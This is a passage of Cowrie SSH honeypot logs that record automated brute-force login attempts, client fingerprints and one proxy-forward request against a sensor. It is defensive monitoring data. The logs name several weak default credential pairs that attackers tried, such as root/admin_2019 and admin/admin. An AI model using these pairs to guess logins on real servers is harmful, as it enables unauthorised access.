.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:08.087254Z","src_ip":"222.167.161.198","session":"829566382ce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"1","message":"login attempt [mailtest/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:09.198560Z","src_ip":"222.167.161.198","session":"829566382ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:10.472799Z","src_ip":"222.167.161.198","session":"829566382ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":49278,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccfb4deca37a","protocol":"ssh","message":"New connection: 101.36.124.127:49278 (159.203.135.109:22) [session: ccfb4deca37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:20.954234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:20.958870Z","src_ip":"101.36.124.127","session":"ccfb4deca37a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:21.177650Z","src_ip":"101.36.124.127","session":"ccfb4deca37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":60702,"dst_ip":"10.17.0.5","dst_port":22,"session":"29abb2d6f80f","protocol":"ssh","message":"New connection: 27.119.7.6:60702 (10.17.0.5:22) [session: 29abb2d6f80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:22.070294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:22.075215Z","src_ip":"27.119.7.6","session":"29abb2d6f80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:22.266325Z","src_ip":"27.119.7.6","session":"29abb2d6f80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin_2019","message":"login attempt [root/admin_2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:23.056986Z","src_ip":"27.119.7.6","session":"29abb2d6f80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:24.247901Z","src_ip":"27.119.7.6","session":"29abb2d6f80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"debian","message":"login attempt [ubuntu/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:24.752246Z","src_ip":"101.36.124.127","session":"ccfb4deca37a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:25.975868Z","src_ip":"101.36.124.127","session":"ccfb4deca37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":51874,"dst_ip":"159.203.135.109","dst_port":22,"session":"22da072d476b","protocol":"ssh","message":"New connection: 96.70.252.227:51874 (159.203.135.109:22) [session: 22da072d476b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:43.957391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:43.974991Z","src_ip":"96.70.252.227","session":"22da072d476b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:44.011110Z","src_ip":"96.70.252.227","session":"22da072d476b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminn","password":"adminn123","message":"login attempt [adminn/adminn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:44.188391Z","src_ip":"96.70.252.227","session":"22da072d476b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:45.224021Z","src_ip":"96.70.252.227","session":"22da072d476b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":58478,"dst_ip":"159.203.135.109","dst_port":22,"session":"f023f4a3ba7e","protocol":"ssh","message":"New connection: 40.81.244.142:58478 (159.203.135.109:22) [session: f023f4a3ba7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:52.438346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:52.442538Z","src_ip":"40.81.244.142","session":"f023f4a3ba7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:52.642918Z","src_ip":"40.81.244.142","session":"f023f4a3ba7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"apache123","message":"login attempt [ubuntu/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:53.451535Z","src_ip":"40.81.244.142","session":"f023f4a3ba7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:54.647209Z","src_ip":"40.81.244.142","session":"f023f4a3ba7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":42236,"dst_ip":"159.203.135.109","dst_port":22,"session":"01fcd69f5fad","protocol":"ssh","message":"New connection: 31.56.209.38:42236 (159.203.135.109:22) [session: 01fcd69f5fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:05.397024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:05.402174Z","src_ip":"31.56.209.38","session":"01fcd69f5fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:05.484074Z","src_ip":"31.56.209.38","session":"01fcd69f5fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:13.402025Z","src_ip":"31.56.209.38","session":"01fcd69f5fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":39622,"dst_ip":"159.203.135.109","dst_port":22,"session":"77c66a54e183","protocol":"ssh","message":"New connection: 101.36.124.127:39622 (159.203.135.109:22) [session: 77c66a54e183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:22.477707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:22.482119Z","src_ip":"101.36.124.127","session":"77c66a54e183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:22.698289Z","src_ip":"101.36.124.127","session":"77c66a54e183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#$","message":"login attempt [root/admin!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:23.583662Z","src_ip":"101.36.124.127","session":"77c66a54e183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:24.800851Z","src_ip":"101.36.124.127","session":"77c66a54e183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9456,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ee8f61632f","protocol":"ssh","message":"New connection: 87.251.64.176:9456 (10.17.0.5:22) [session: f4ee8f61632f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:31.012259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:31.016659Z","src_ip":"87.251.64.176","session":"f4ee8f61632f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:31.112270Z","src_ip":"87.251.64.176","session":"f4ee8f61632f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:31.401210Z","src_ip":"87.251.64.176","session":"f4ee8f61632f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:31.499883Z","session":"f4ee8f61632f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:31.599772Z","src_ip":"87.251.64.176","session":"f4ee8f61632f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:42:31.698697Z","src_ip":"87.251.64.176","session":"f4ee8f61632f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":47492,"dst_ip":"159.203.135.109","dst_port":22,"session":"4954b68f8d0c","protocol":"ssh","message":"New connection: 31.56.209.38:47492 (159.203.135.109:22) [session: 4954b68f8d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:15.791217Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":51690,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea59ff4edb09","protocol":"ssh","message":"New connection: 101.36.124.127:51690 (159.203.135.109:22) [session: ea59ff4edb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:17.927356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:17.932056Z","src_ip":"101.36.124.127","session":"ea59ff4edb09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2